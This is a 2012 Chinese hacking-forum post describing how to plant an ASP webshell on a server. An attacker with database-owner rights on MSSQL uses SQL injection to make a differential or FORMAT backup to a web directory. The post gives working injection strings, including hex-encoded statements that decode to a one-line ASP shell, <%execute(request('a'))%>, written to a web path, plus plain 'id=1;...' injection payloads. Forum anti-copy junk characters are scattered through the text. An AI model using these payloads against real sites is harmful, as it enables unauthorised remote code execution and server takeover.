找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2162|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:
  u* ^# c* {  @4 C( h( u& V- h" E" H2 g6 B9 |! T
减少备份文件大小,得到可执行的webshell成功率提高不少6 ^: F, p% v0 G' d$ `' s
一利用差异备份/ `# @- G( {  d4 o% x9 o
加一个参数WITH DIFFERENTIAL
& M/ [( s8 }( @! [2 }; W7 F1 n( i# ], V" @- n' U. S* {( o" F8 N# n
1, K3 |4 G1 n* T3 r
2; }+ z- r3 R' B5 D4 E
36 |. ?) ]6 F6 @' Q6 D" Y6 r
47 B) ]3 q( |2 `4 }5 J6 N. E
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s# B9 `1 V( Q( p. E# t! _
create table [dbo].[xiaolu] ([cmd] [image]);
' `+ U/ Q. @) k( @) y# x. uinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)+ X/ j3 j0 c* G9 M" P( [
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL   N+ ?1 C# G3 g7 v& ?5 G5 E' s
2 F5 Q, Q8 c" Y
二利用完全FORMAT
' Q# R* v1 u5 f+ q/ F加一个参数WITH FROMAT7 O. k7 q" G& m0 G  M: `9 _
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以4 l8 M6 }/ }) [7 ~" y7 G/ P) X

7 P- H5 U$ n! {0 q1 D1  T, L! l: W8 {/ J4 t: [6 i6 F
2
$ u$ p5 ~: w! z. H5 `/ [4 _3
1 |/ [% P: L7 V1 O! ^4
7 n; _( \* t  b* P+ ^6 @9 o declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 k! x) T" z4 Z0 L9 _5 q- q; ocreate table [dbo].[xiaolu] ([cmd] [image]);
1 \  o% _. U/ J6 f, [insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)6 ~4 }5 v" X% H9 B
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 1 H, h- h( q6 _! p/ W4 b% N

+ c% D' R. w" m2 l' s总的来说就是那么简单几句,下面以备份数据库model为例子
  D/ ~# y# ]5 y- T  a6 |9 s15 @) n" T6 \! `/ u$ A* D

' C) B" D- E7 v# g) x3 _3 s1; w& y0 V6 g5 J* ~+ m1 s' c
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') ' ~3 N4 E/ ^% v& n. F  e
% Y" {3 F2 o, T9 j0 e
2
( p6 V1 M4 j7 K7 U. u' P2 g; M2 S5 L8 z+ x. Z
1
" A- B! n  J) i% ^+ V& L id=1;backup database model to disk='你的路径‘ with differential,format;--
0 U+ }$ o6 v& y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表